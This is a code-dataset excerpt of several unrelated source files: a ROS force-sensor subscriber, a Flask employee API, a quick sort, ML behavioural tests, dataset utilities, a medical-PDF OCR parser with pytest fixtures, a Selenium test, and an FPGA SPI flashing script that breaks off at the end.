z\n\n\nroute=a_gwiadazda(\"grid.txt\")\nshow_route(route)\n\n","repo_name":"Mateusz1kar/Robotyka","sub_path":"AGwiazda.py","file_name":"AGwiazda.py","file_ext":"py","file_size_in_byte":4599,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1243653479","text":"#!/usr/bin/python3\nimport numpy as np\nimport rospy\nfrom geometry_msgs.msg import WrenchStamped\n\nclass Get_force_val():\n def __init__(self):\n rospy.init_node('wrench_subscriber', anonymous=True)\n # robotiq_ft_wrench force_return\n rospy.Subscriber('/ft_sensor_topic', WrenchStamped, self.force_return)\n rospy.spin()\n self.ft_sensor_array = []\n\n def force_return(self,data):\n self.force_data = []\n self.force_data.append(data.wrench.force.x)\n self.force_data.append(data.wrench.force.y)\n self.force_data.append(data.wrench.force.z)\n print(self.force_data)\n return self.force_data\n\n def force_data(self,data):\n # rospy.loginfo(data)\n self.adjust = []\n self.adjust = np.array([data.wrench.force.x,\n data.wrench.force.y,\n data.wrench.force.z,\n data.wrench.torque.x,\n data.wrench.torque.y,\n data.wrench.torque.z])\n # self.adjust[2] -= 11.898\n self.ft_sensor_array = self.adjust\n print(self.ft_sensor_array) \n\nif __name__ == '__main__':\n print(\"start\")\n GF = Get_force_val()\n fforce_data = GF.force_return()\n # print(fforce_data)\n","repo_name":"benediiiict/ur5e_peg-in-hole","sub_path":"ur5e_ws/ur5e_RL/src/UR_move_test/src/force_control_api.py","file_name":"force_control_api.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"11161605374","text":"import os\nfrom flask import (\n Blueprint, current_app, request, jsonify, json\n)\nfrom werkzeug.exceptions import abort\nimport requests\nfrom dotty_dict import dotty\n\nbp = Blueprint('api', __name__)\n\ndata = {\n 'departments': None,\n 'offices': None,\n 'managers': [],\n 'expands': [],\n}\n\n\n@bp.before_app_request\ndef load_data():\n departments_filename = os.path.join(current_app.static_folder, 'data', 'departments.json')\n with open(departments_filename) as departments:\n data['departments'] = json.load(departments)\n\n offices_filename = os.path.join(current_app.static_folder, 'data', 'offices.json')\n with open(offices_filename) as offices:\n data['offices'] = json.load(offices)\n\n data['expands'] = request.args.getlist('expand') if request.args.get('expand') is not None else []\n\ndef get_employees(limit = 100,offset = 0):\n response = requests.get('%s?limit=%s&offset=%s' % (current_app.config['EMPLOYEES_ENDPOINT'],limit,offset))\n response.raise_for_status()\n return response.json()\n \ndef get_managers(employees,level):\n ids = set([e[\"manager\"] for e in employees if e[\"manager\"] is not None])\n qs = '&id='.join(str(id) for id in list(ids))\n response = requests.get('%s?id=%s' % (current_app.config['EMPLOYEES_ENDPOINT'],qs))\n response.raise_for_status()\n data['managers'] = response.json()\n if(level > 1):\n for x in range(1, level):\n ids = set([e[\"manager\"] for e in data['managers'] if e[\"manager\"] is not None])\n qs = '&id='.join(str(id) for id in list(ids))\n response = requests.get('%s?id=%s' % (current_app.config['EMPLOYEES_ENDPOINT'],qs))\n response.raise_for_status()\n data['managers'] += response.json()\n \n\ndef get_employee_by_id(id):\n e = next((e for e in data['managers'] if int(e['id']) == id), None)\n if(e is None):\n response = requests.get('%s?id=%s' % (current_app.config['EMPLOYEES_ENDPOINT'],id))\n return response.json()[0]\n else:\n return e\ndef get_department_by_id(id):\n return next((d for d in data['departments'] if int(d['id']) == id), None)\n\ndef get_office_by_id(id):\n return next((o for o in data['offices'] if o['id'] == id), None)\n\ndef get_expanded(obj,expand):\n if(obj is None): return obj \n expanded = expand.split('.')\n exObj = dotty(obj)\n attrs = []\n while len(expanded) > 0:\n ex = expanded.pop(0)\n attrs.append(ex) \n if (isinstance(exObj['.'.join(attrs)], int)):\n exObj['.'.join(attrs)] = get_expand(exObj['.'.join(attrs)],ex,employees)\n else:\n break\n return exObj.to_dict()\n\ndef get_expand(id,ex,employees):\n if(ex == 'superdepartment'):\n exObj = get_department_by_id(id) \n if(ex == 'department'):\n exObj = get_department_by_id(id)\n if(ex == 'manager'):\n exObj = get_employee_by_id(id)\n data['managers'].append(exObj)\n if(ex == 'office'):\n exObj = get_office_by_id(id)\n return exObj\n \n\n@bp.route('/employees')\ndef employees():\n try:\n limit = request.args.get('limit') if request.args.get('limit') is not None else 100\n offset = request.args.get('offset') if request.args.get('offset') is not None else 0\n if int(limit) > 1000:\n return jsonify({'Error': 'Max limit = 1000'})\n response = get_employees(limit,offset)\n employees = []\n if(len(data['expands']) == 0):\n employees = response\n else:\n exManager = next((ex for ex in data['expands'] if 'manager' in ex), None)\n if(exManager is not None):\n get_managers(response,len(exManager.split('.')))\n for e in response:\n for expand in data['expands']: \n e = get_expanded(e,expand) if expand is not None else e\n employees.append(e) \n except KeyError as err:\n return jsonify({'Error': 'expand key does not exists: %s' % err}) \n except Exception as err:\n print (err)\n return jsonify({'Error': 'an error ocurred'}) \n else:\n\n return jsonify(employees) #jsonify(employees)\n\n@bp.route('/employees/')\ndef employee(id):\n try:\n d = get_employee_by_id(id)\n \n if(d is None):\n abort(404)\n for expand in data['expands']: \n d = get_expanded(d,expand) if expand is not None else d\n \n return jsonify(d)\n\n except KeyError as err:\n print(err)\n return jsonify({'Error': 'expand key does not exists: %s' % err}) \n except Exception as err:\n print(err)\n return jsonify({'Error': 'an error ocurred'}) \n\n\n@bp.route('/departments')\ndef departments():\n try:\n limit = int(request.args.get('limit')) if request.args.get('limit') is not None else 100\n offset = int(request.args.get('offset')) if request.args.get('offset') is not None else 0\n if int(limit) > 1000:\n return jsonify({'Error': 'Max limit = 1000'})\n \n \n departments = [];\n\n for d in data['departments'][offset:offset+limit]:\n for expand in data['expands']: \n d = get_expanded(d,expand) if expand is not None else d\n departments.append(d) \n \n\n return jsonify(departments)\n\n except KeyError as err:\n return jsonify({'Error': 'expand key does not exists: %s' % err}) \n except Exception as err:\n return jsonify({'Error': 'an error ocurred'}) \n\n@bp.route('/departments/')\ndef department(id):\n try:\n d = get_department_by_id(id)\n \n if(d is None):\n abort(404)\n for expand in data['expands']: \n d = get_expanded(d,expand) if expand is not None else d\n \n return jsonify(d)\n\n except KeyError as err:\n return jsonify({'Error': 'expand key does not exists: %s' % err}) \n except Exception as err:\n return jsonify({'Error': 'an error ocurred'}) \n\n@bp.route('/offices')\ndef offices():\n try:\n limit = int(request.args.get('limit')) if request.args.get('limit') is not None else 100\n offset = int(request.args.get('offset')) if request.args.get('offset') is not None else 0\n if int(limit) > 1000:\n return jsonify({'Error': 'Max limit = 1000'})\n \n return jsonify(data['offices'][offset:offset+limit])\n\n except Exception as err:\n print(err)\n return jsonify({'Error': 'an error ocurred'}) \n\n@bp.route('/offices/')\ndef office(id):\n try:\n d = get_office_by_id(id)\n\n if(d is None):\n abort(404)\n \n return jsonify(d)\n\n except Exception as err:\n print(err)\n return jsonify({'Error': 'an error ocurred'}) \n\n\n","repo_name":"ateszki/glide_test_api","sub_path":"glide_test_api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":6881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"18641890123","text":"\"\"\"\nThis is quick sort algorithm which considers the duplications.\n\"\"\"\n\n\ndef quick_sort(items):\n \"\"\" docstring for function \"\"\"\n if len(items) <= 1:\n return items\n\n pivot = items.pop()\n lessers, equallers, greaters = [], [], []\n\n for i in items:\n if i < pivot:\n lessers.append(i)\n elif i == pivot:\n equallers.append(i)\n else:\n greaters.append(i)\n equallers.append(pivot)\n\n return quick_sort(lessers) + equallers + quick_sort(greaters)\n\n\nprint(quick_sort([3, 5, 1, 2, 3, 6, 9, 0, 7]))\n","repo_name":"gevorg-vardanyan-im/python_algs","sub_path":"sorting/quick_sort_with_3_lists.py","file_name":"quick_sort_with_3_lists.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74464687262","text":"from pathlib import Path\n\nimport pytest\n\nfrom config import config\nfrom src import main, predict\n\n\"\"\"\nBehavioral testing is the process of\ntesting input data and expected outputs\nwhile treating the model as a black box.\n\ninvariance: Changes should not affect outputs.\n\ndirectional: Change should affect outputs.\n\nminimum functionality: Simple combination of inputs and expected outputs.\n\n\nEach of these types of tests can also include adversarial tests\nsuch as testing with common biased tokens or noisy tokens, etc.\n\"\"\"\n\n\n@pytest.fixture(scope=\"module\")\ndef artifacts():\n run_id = open(Path(config.CONFIG_DIR, \"run_id.txt\")).read()\n artifacts = main.load_artifacts(run_id=run_id)\n return artifacts\n\n\n@pytest.mark.parametrize(\n \"text, tag\",\n [\n (\n \"Real Estate market is on the decline.\",\n \"Macro\",\n ),\n (\n \"Real Estate market is on the uprise.\",\n \"Macro\",\n ),\n (\n \"Real Estate market isn't on the uprise.\",\n \"Macro\",\n ),\n ],\n)\ndef test_inv(text, tag, artifacts):\n \"\"\"invariance via verb injection (changes should not affect outputs).\"\"\"\n predicted_tag = predict.predict(texts=[text], artifacts=artifacts)[0][\"predicted_tag\"]\n assert tag == predicted_tag\n\n\n@pytest.mark.parametrize(\n \"text, tag\",\n [\n (\n \"Real Estate market is on the decline.\",\n \"Macro\",\n ),\n (\n \"Market is on the uprise.\",\n \"other\",\n ),\n (\n \"Electrical vehicle market is on the uprise.\",\n \"Company | Product News\",\n ),\n ],\n)\ndef test_dir(text, tag, artifacts):\n \"\"\"Directional expectations (changes with known outputs).\"\"\"\n predicted_tag = predict.predict(texts=[text], artifacts=artifacts)[0][\"predicted_tag\"]\n assert tag == predicted_tag\n\n\n@pytest.mark.parametrize(\n \"text, tag\",\n [\n (\n \"Macro economy.\",\n \"Macro\",\n ),\n (\n \"Emerging markets stocks.\",\n \"Stock Commentary\",\n ),\n (\n \"Dandelions is a sweet love song.\",\n \"other\",\n ),\n ],\n)\ndef test_mft(text, tag, artifacts):\n \"\"\"Minimum Functionality Tests (simple input/output pairs).\"\"\"\n predicted_tag = predict.predict(texts=[text], artifacts=artifacts)[0][\"predicted_tag\"]\n assert tag == predicted_tag\n","repo_name":"AymSa/mlops-tweet-finance","sub_path":"tests/model/test_behavioral.py","file_name":"test_behavioral.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30817881916","text":"import os\nfrom os.path import isdir\n\nimport cv2\nimport numpy\nimport scipy.io\n\n\ndef get_videos_in_dataset(dataset):\n dataset_path = os.path.join(\"data\", dataset)\n return sorted([name for name in os.listdir(dataset_path) if os.path.isdir(os.path.join(dataset_path, name))])\n\n\ndef create_sofot_dirs_for_dataset_videos(dataset, videos):\n dataset_path = os.path.join(\"data\", f\"sofot_{dataset}\")\n if not os.path.exists(dataset_path):\n os.mkdir(dataset_path)\n\n for video in videos:\n video_path = os.path.join(dataset_path, video)\n if not os.path.exists(video_path):\n os.mkdir(video_path)\n os.mkdir(os.path.join(video_path, \"detections\"))\n\n\ndef file_benchmark(dataset):\n return os.path.join(\"data\", f\"sofot_{dataset}\", \"benchmark.csv\")\n\n\ndef write_bboxes_for_video_frame(dataset, bboxes, video, frame):\n filename = os.path.join(\"data\", f\"sofot_{dataset}\", video, \"detections\", \"{}.txt\".format((f\"0000{frame}\")[-5:]))\n with open(filename, mode='w') as f:\n for bbox in bboxes:\n f.write(f\"{bbox[0][0]} {bbox[0][1]} {bbox[1][0]} {bbox[1][1]}\\n\")\n\n\ndef render_filename_for_video(dataset, video):\n return os.path.join(\"data\", f\"sofot_{dataset}\", video, \"output.avi\")\n\n\ndef img_name_for_video_frame(dataset, video, frame):\n return os.path.join(\"data\", dataset, video, \"images\", \"{}.jpg\".format((f\"0000{frame}\")[-5:]))\n\n\ndef img_for_video_frame(dataset, video, frame):\n return cv2.imread(img_name_for_video_frame(dataset, video, frame))\n\n\ndef iou(bb1, bb2):\n # Extract points\n p10, p11 = bb1\n p20, p21 = bb2\n\n # Intersection.\n x0 = float(max(p10[0], p20[0]))\n y0 = float(max(p10[1], p20[1]))\n x1 = float(min(p11[0], p21[0]))\n y1 = float(min(p11[1], p21[1]))\n if x1 < x0 or y1 < y0:\n return 0.0\n intersection_area = (x1 - x0) * (y1 - y0)\n\n # Areas of original boxes.\n bb1_area = float((p11[0] - p10[0]) * (p11[1] - p10[1]))\n bb2_area = float((p21[0] - p20[0]) * (p21[1] - p20[1]))\n\n return intersection_area / (bb1_area + bb2_area - intersection_area)\n\n\ndef bbox_distance(bb1, bb2):\n # Only called when overlap is empty!\n\n # Extract points\n p10, p11 = bb1\n p20, p21 = bb2\n\n # Calculate minimum distance between borders.\n d = numpy.Inf\n if p11[0] < p20[0]:\n dt = p20[0] - p11[0]\n if dt < d:\n d = dt\n if p10[0] > p21[0]:\n dt = p11[0] - p21[0]\n if dt < d:\n d = dt\n if p11[1] < p20[1]:\n dt = p20[1] - p11[1]\n if dt < d:\n d = dt\n if p10[1] > p21[1]:\n dt = p10[1] - p21[1]\n if dt < d:\n d = dt\n \n return d\n\n\ndef get_data(dataset):\n if dataset == \"modd1\":\n return get_modd1_data()\n\n\ndef get_modd1_data():\n # Iterate over all 12 videos.\n video_data = []\n for video in range(1, 13):\n path = os.path.join(\"data\", \"modd1\", \"0{}\".format(video)[-2:], \"gt.mat\")\n print(\"Processing {}...\".format(path))\n\n # Load annotations from MATLAB .mat file.\n contents = scipy.io.loadmat(path)\n largeobjects = contents[\"largeobjects\"]\n smallobjects = contents[\"smallobjects\"]\n\n # Get number of frames.\n nframes_l = largeobjects.shape[0]\n nframes_s = smallobjects.shape[0]\n assert nframes_l == nframes_s\n nframes = nframes_s\n\n # Combine large and small objects.\n annotations = [None for _ in range(nframes)]\n for i in range(nframes):\n original_detections = largeobjects[i][0]\n detections = []\n for col in range(original_detections.shape[1]):\n detections.append([int(original_detections[row][col]) for row in range(original_detections.shape[0])])\n\n original_detections = smallobjects[i][0]\n for col in range(original_detections.shape[1]):\n detections.append([int(original_detections[row][col]) for row in range(original_detections.shape[0])])\n\n annotations[i] = detections\n \n video_data.append(annotations)\n\n return video_data","repo_name":"stelynx/sofot","sub_path":"sofot/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"14347778567","text":"\n\nfrom pdf2image import convert_from_path\npage=convert_from_path(r'C:\\source-code\\medical-project\\backend\\notebooks\\docs\\patient_details\\pd_1.pdf',\n poppler_path=r'C:\\poppler-22.04.0\\Library\\bin')\npage\n\n\n# In[106]:\n\n\npage[0].show()\n\n\n# In[107]:\n\n\nimport cv2\nimport numpy as np\ndef preprocess_image(img):\n gray = cv2.cvtColor(np.array(img), cv2.COLOR_BGR2GRAY)\n resized = cv2.resize(gray, None, fx=2, fy=2, interpolation=cv2.INTER_LINEAR) # noqa\n processed_img = cv2.adaptiveThreshold(resized, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 61, 11) # noqa\n return processed_img\n\n\n# In[108]:\n\n\nprocessed_image=preprocess_image(page[0])\nprocessed_image\n\n\n# In[109]:\n\n\nimport pytesseract\npytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'#it is a path addreess in the system\ntext = pytesseract.image_to_string(processed_image, lang='eng')# pages variable contains image and tessract extract imfo from it\nprint(text)\n\n\n# In[110]:\n\n\nimport re\npattern=(r'Date(.*?)\\d{3}')\nmatches=re.findall(pattern,text,flags=re.DOTALL)\nmatches[0].strip()\n\n\n# In[111]:\n\n\npattern1=(r'\\(?\\d{3}\\)?\\s\\d{3}.\\d{4}')\nmatches1=re.findall(pattern1,text,flags=re.DOTALL)\nfor i in matches1:\n print(i)\n\n\n# In[ ]:\n\n\n\n\n\n# In[112]:\n\n\npattern = 'List any Medical Problems .*?:(.*)'\nmatches = re.findall(pattern,text, flags=re.DOTALL)\nif matches:\n print(matches[0].strip())\n\n \n\n\n# In[113]:\n\n\ndef remove_noise_from_name(name):\n name = name.replace('Birth Date', '').strip()\n date_pattern = '((Jan|Feb|March|April|May|June|July|Aug|Sep|Oct|Nov|Dec)[ \\d]+)'\n date_matches = re.findall(date_pattern, name)\n if date_matches:\n date = date_matches[0][0]\n name = name.replace(date, '').strip()\n return name\nprint(remove_noise_from_name('Kathy Crawford May 6 1972'))\n\n\n# In[114]:\n\n\nimport re\nclass PatientDetailsParser:\n def __init__(self, text):\n self.text=text\n\n\n def parse(self):\n return {\n 'patient_name': self.get_patient_name(),\n 'phone_number': self.get_patient_phone_number(),\n 'medical_problems': self.get_medical_problems(),\n 'hepatitis_b_vaccination': self.get_hepatitis_b_vaccination()\n }\n\n def get_patient_name(self):\n pattern = 'Patient Information(.*?)\\(\\d{3}\\)'\n matches = re.findall(pattern, self.text, flags=re.DOTALL)\n name = ''\n if matches:\n name = self.remove_noise_from_name(matches[0])\n return name\n\n def get_patient_phone_number(self):\n pattern = 'Patient Information(.*?)(\\(\\d{3}\\) \\d{3}-\\d{4})'\n matches = re.findall(pattern, self.text, flags=re.DOTALL)\n if matches:\n return matches[0][-1]\n\n def remove_noise_from_name(self, name):\n name = name.replace('Birth Date', '').strip()\n date_pattern = '((Jan|Feb|March|April|May|June|July|Aug|Sep|Oct|Nov|Dec)[ \\d]+)'\n date_matches = re.findall(date_pattern, name)\n if date_matches:\n date = date_matches[0][0]\n name = name.replace(date, '').strip()\n return name\n\n def get_hepatitis_b_vaccination(self):\n pattern = 'Have you had the Hepatitis B vaccination\\?.*(Yes|No)'\n matches = re.findall(pattern, self.text, flags=re.DOTALL)\n if matches:\n return matches[0].strip()\n\n def get_medical_problems(self):\n pattern = 'List any Medical Problems .*?:(.*)'\n matches = re.findall(pattern, self.text, flags=re.DOTALL)\n if matches:\n return matches[0].strip()\n\nif __name__ == '__main__':\n document_text = '''\n Patient Medical Record . : :\n\n Patient Information\n\n\n Birth Date\n Kathy Crawford May 6 1972\n (737) 988-0851 Weight:\n 9264 Ash Dr 95\n New York City, 10005 a\n United States Height:\n 190\n In Case of Emergency\n ee oe\n Simeone Crawford 9266 Ash Dr\n New York City, New York, 10005\n Home phone United States\n (990) 375-4621\n Work phone\n Genera! Medical History\n I i\n Chicken Pox (Varicella): Measies:\n IMMUNE IMMUNE\n\n Have you had the Hepatitis B vaccination?\n\n No\n\n List any Medical Problems (asthma, seizures, headaches):\n\n Migraine'''\n pp = PatientDetailsParser(document_text)\n print(pp.parse())\n\n\n\n# In[115]:\n\n\nimport re\nclass PrescriptionParser():\n def __init__(self, text):\n self.text=text\n\n def parse(self):\n return {\n 'patient_name': self.get_field('patient_name'),\n 'patient_address': self.get_field('patient_address'),\n 'medicines': self.get_field('medicines'),\n 'directions': self.get_field('directions'),\n 'refills': self.get_field('refills')\n }\n\n def get_field(self, field_name):\n pattern_dict = {\n 'patient_name': {'pattern': 'Name:(.*)Date', 'flags': 0},\n 'patient_address': {'pattern': 'Address:(.*)\\n', 'flags': 0},\n 'medicines': {'pattern': 'Address[^\\n]*(.*)Directions', 'flags': re.DOTALL},\n 'directions': {'pattern': 'Directions:(.*)Refill', 'flags': re.DOTALL},\n 'refills': {'pattern': 'Refill:(.*)times', 'flags': 0},\n }\n\n pattern_object = pattern_dict.get(field_name)\n if pattern_object:\n matches = re.findall(pattern_object['pattern'], self.text, flags=pattern_object['flags'])\n if len(matches) > 0:\n return matches[0].strip()\n\nif __name__ == '__main__':\n document_text = '''\nDr John Smith, M.D\n2 Non-Important Street,\nNew York, Phone (000)-111-2222\nName: Marta Sharapova Date: 5/11/2022\nAddress: 9 tennis court, new Russia, DC\n\nPrednisone 20 mg\nLialda 2.4 gram\nDirections:\nPrednisone, Taper 5 mg every 3 days,\nFinish in 2.5 weeks -\nLialda - take 2 pill everyday for 1 month\nRefill: 3 times\n'''\n pp = PrescriptionParser(document_text)\n print(pp.parse())\n\n\n# In[128]:\n\n\nfrom pdf2image import convert_from_path\nimport pytesseract\nimport util\n\npoppler_path=(r'C:\\poppler-22.04.0\\Library\\bin')\npytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\n\ndef extract(file_path, file_format):\n # step 1: extracting text from pdf file\n pages = convert_from_path(file_path, poppler_path=poppler_path)\n document_text = ''\n\n if len(pages)>0:\n page = pages[0]\n processed_image = util.preprocess_image(page)\n text = pytesseract.image_to_string(processed_image, lang='eng')\n document_text = '\\n' + text\n\n # step 2: extract fields from text\n if file_format == 'prescription':\n extracted_data = PrescriptionParser(document_text).parse()\n elif file_format == 'patient_details':\n extracted_data = PatientDetailsParser(document_text).parse()\n else:\n raise Exception(f\"Invalid document format: {file_format}\")\n\n return extracted_data\n\nif __name__ == '__main__':\n data = extract(r'C:\\source-code\\medical-project\\backend\\notebooks\\docs\\prescription\\pre_1.pdf', 'prescription')\n for i,j in data.items():\n print(i,j)\n\n\n# # THIS BELOW CODE USE FOR PYTEST\n# \n\n# In[126]:\n\n\nimport pytest\n\n# from backend.src.parser_patient_details import PatientDetailsParser\n\n@pytest.fixture()\ndef doc_1_kathy():\n document_text = '''\n Patient Medical Record . : :\n\n Patient Information\n\n\n Birth Date\n Kathy Crawford May 6 1972\n (737) 988-0851 Weight:\n 9264 Ash Dr 95\n New York City, 10005 a\n United States Height:\n 190\n In Case of Emergency\n ee oe\n Simeone Crawford 9266 Ash Dr\n New York City, New York, 10005\n Home phone United States\n (990) 375-4621\n Work phone\n Genera! Medical History\n I i\n Chicken Pox (Varicella): Measies:\n IMMUNE IMMUNE\n\n Have you had the Hepatitis B vaccination?\n\n No\n\n List any Medical Problems (asthma, seizures, headaches):\n\n Migraine\n '''\n\n return PatientDetailsParser(document_text)\n\n\n@pytest.fixture()\ndef doc_2_jerry():\n document_text = '''\n Patient Medical Record\n\n Patient Information\n Jerry Lucas\n\n (279) 920-8204\n\n 4218 Wheeler Ridge Dr\n Buffalo, New York, 14201\n United States\n\n In Case of Emergency\n\n -_ OCC OO eee\n\n Joe Lucas\n\n Home phone\n\n General Medical History\n\n\n\n Chicken Pox (Varicelia):\n IMMUNE\n Have you had the Hepatitis B vaccination?\n\n Yes”\n\n Birth Date\n May 2 1998\n\n Weight:\n 57\n\n Height:\n 170\n\n 4218 Wheeler Ridge Dr\n Buffalo, New York, 14201\n United States\n\n Work phone\n\n Measles: .\n\n NOT IMMUNE\n\n List any Medical Problems (asthma, seizures, headaches):\n\n N/A\n '''\n return PatientDetailsParser(document_text)\n\ndef test_get_patient_name(doc_1_kathy, doc_2_jerry):\n assert doc_1_kathy.get_patient_name() == 'Kathy Crawford'\n assert doc_2_jerry.get_patient_name() == 'Jerry Lucas'\n\ndef test_get_patient_phone_number(doc_1_kathy, doc_2_jerry):\n assert doc_1_kathy.get_patient_phone_number() == '(737) 988-0851'\n assert doc_2_jerry.get_patient_phone_number() == '(279) 920-8204'\n\n\ndef test_get_hepatitis_b_vaccination(doc_1_kathy, doc_2_jerry):\n assert doc_1_kathy.get_hepatitis_b_vaccination() == 'No'\n assert doc_2_jerry.get_hepatitis_b_vaccination() == 'Yes'\n\n\ndef test_get_medical_problems(doc_1_kathy, doc_2_jerry):\n assert doc_1_kathy.get_medical_problems() == 'Migraine'\n assert doc_2_jerry.get_medical_problems() == 'N/A'\n\ndef test_parse(doc_1_kathy, doc_2_jerry):\n record_kathy = doc_1_kathy.parse()\n assert record_kathy['patient_name'] == 'Kathy Crawford'\n assert record_kathy['phone_number'] == '(737) 988-0851'\n assert record_kathy['medical_problems'] == 'Migraine'\n assert record_kathy['hepatitis_b_vaccination'] == 'No'\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"sarthaakk/python-project","sub_path":"python project/python project(medical data) .py","file_name":"python project(medical data) .py","file_ext":"py","file_size_in_byte":9748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"17559442291","text":"import os\nimport unittest\n\nfrom selenium import webdriver\nfrom pages.login_page import LoginPage\nfrom pages.dashboard import Dashboard\nfrom pages.addaMatch import AddMatch\nfrom pages.matches import Matches\nfrom utils.settings import DRIVER_PATH, IMPLICITLY_WAIT\nfrom PIL import Image\n\n\nclass TestAddMatch(unittest.TestCase):\n\n @classmethod\n def setUp(self):\n os.chmod(DRIVER_PATH, 755)\n self.driver = webdriver.Chrome(executable_path=DRIVER_PATH)\n self.driver.get('https://scouts-test.futbolkolektyw.pl/en')\n self.driver.fullscreen_window()\n self.driver.implicitly_wait(IMPLICITLY_WAIT)\n\n def test_add_match(self):\n user_login = LoginPage(self.driver)\n user_login.login_form_title()\n user_login.type_in_email('user02@getnada.com')\n user_login.fill_in_password('Test-1234')\n self.driver.save_screenshot(\n '/home/yevgrafova/Documents/GitHub/challenge_portfolio_viktoriia/screenshots/login-filled-in.png')\n Image.open(\n '/home/yevgrafova/Documents/GitHub/challenge_portfolio_viktoriia/screenshots/login-filled-in.png').show()\n user_login.click_sign_in_button()\n dashboard = Dashboard(self.driver)\n dashboard.title_of_page()\n self.driver.get('https://scouts-test.futbolkolektyw.pl/en/players/62f2bce6159aa3d4fa18f4b2/matches/add')\n add_match = AddMatch(self.driver)\n add_match.title_of_page()\n add_match.type_in_my_team_name('First')\n add_match.type_in_my_team_score('5')\n add_match.type_in_enemy_team_name('Second')\n add_match.type_in_enemy_team_score('3')\n add_match.type_in_match_date('02-02-2023')\n add_match.click_submit_button()\n matches = Matches(self.driver)\n self.driver.save_screenshot(\n '/home/yevgrafova/Documents/GitHub/challenge_portfolio_viktoriia/screenshots/match-added.png')\n matches.assert_match_added()\n\n @classmethod\n def tearDown(self):\n self.driver.quit()\n","repo_name":"toriakatoria/challenge_portfolio_viktoriia","sub_path":"test_cases/add_a_match.py","file_name":"add_a_match.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33960732599","text":"#!/usr/bin/python3\nimport typer\nfrom pathlib import Path\nfrom common import sleep_ms, SpiActiveFlash, get_pages_from_file, setGPIO, \\\n reverse_bit_order\nimport binascii\nimport spidev\n\nPAGE_SIZE=256\nDEVICE_ID = 0x20\nPAD_VALUE=0xff\n\nGPIO_VP_CSN=68\nGPIO_SPI_DIRECT = 132\n\nif 0: #TI flash\n SPI_BUS=0\n SPI_BUS_CS=0\n SPI_SPEED = 12000\n SPI_MODE = 3\n VERIFY = True\n FILE_DEFAULT = '/home/root/firmware/binary/ssi-fpga/hld_fpga_p65.rpd'\n def enable_flash_mode() -> None:\n setGPIO(GPIO_SPI_DIRECT, 1)\n #i2c command\n def disable_flash_mode() -> None:\n setGPIO(GPIO_SPI_DIRECT, 0)\n #i2c command\n\nif 1: #VP flash\n SPI_BUS=0\n SPI_BUS_CS=1\n SPI_SPEED = 12000000\n SPI_MODE = 3\n VERIFY = True\n FILE_DEFAULT = '/home/root/firmware/binary/vp-fpga/vp-fpga_mux_spi_ti_flash.bin'\n #FILE_DEFAULT = '/home/root/firmware/binary/ssi-fpga/hld_fpga_p65.rpd'\n def enable_flash_mode() -> None:\n setGPIO(GPIO_VP_CSN, 0)\n def disable_flash_mode() -> None:\n setGPIO(GPIO_VP_CSN, 1)\nif 0: #HLD\n GPIO_NCONFIG = 125\n GPIO_NCE = 127\n SPI_BUS=1\n SPI_BUS_CS=3\n SPI_SPEED = 14000000\n SPI_MODE = 3\n VERIFY = True\n FILE_DEFAULT = '/home/root/firmware/binary/ssi-fpga/hld_fpga_p65.rpd'\n def enable_flash_mode() -> None:\n setGPIO(GPIO_NCONFIG, 0)\n setGPIO(GPIO_NCE, 0)\n setGPIO(GPIO_NCONFIG, 1)\n setGPIO(GPIO_NCE, 0)\n setGPIO(GPIO_NCONFIG, 0)\n setGPIO(GPIO_NCE, 1)\n\n def disable_flash_mode() -> None:\n setGPIO(GPIO_NCE, 0)\n setGPIO(GPIO_NCONFIG, 1)\n\n\n\ndef flash(filename: Path, spi_hz:int=SPI_SPEED) -> int:\n # cMode |= SPI_CPHA; // Phase, data is clocked out on falling_edge and sampled on rising_edge\n # cMode |= SPI_CPOL; // Polarity => Clock is default high\n # /dev/spidev1.3 mode=3 (SPI_CPOL|SPI_CPHA)\n chip = SpiActiveFlash(bus=SPI_BUS, bus_cs=SPI_BUS_CS, mode=SPI_MODE, max_speed_hz=spi_hz)\n print(\"Enable flash mode\")\n enable_flash_mode()\n sleep_ms(100)\n\n id = chip.read_id()\n print(\"ID:\", id)\n if id != DEVICE_ID:\n print(\"Wrong device id:\", id)\n return 1\n chip.bulk_erase()\n chip.erase_wait_until_done()\n reverse_pages = pages = get_pages_from_file(filename, page_size=PAGE_SIZE)\n #reverse_pages = reverse_bit_order(pages)\n chip.write_pages(reverse_pages)\n\n if VERIFY:\n print('\\nVerify!')\n exit_code = chip.verify_pages(reverse_pages)\n\n #disable_flash_mode()\n id=chip.read_id()\n print(\"\\nID:\", id)\n '''\n if id != 0:\n print(\"Error: Device id should be 0 when FPGA active\")\n return 1\n '''\n return exit_code\n\ndef main(filename: Path = Path(FILE_DEFAULT), spi_hz:int=SPI_SPEED, retry:int=1) -> None:\n exitcode=0\n for i in range(retry):\n exitcode = flash(filename, spi_hz)\n if exitcode==0: break\n print(f'\\nError Retry:{i+1}')\n if exitcode!=0:\n typer.echo(\"Failed\")\n raise typer.Exit(code=1)\n print('\\nSuccess!')\n\nif __name__ == \"__main__\":\n #print(f\"Currentversion:{getFlashVersion()}\")\n 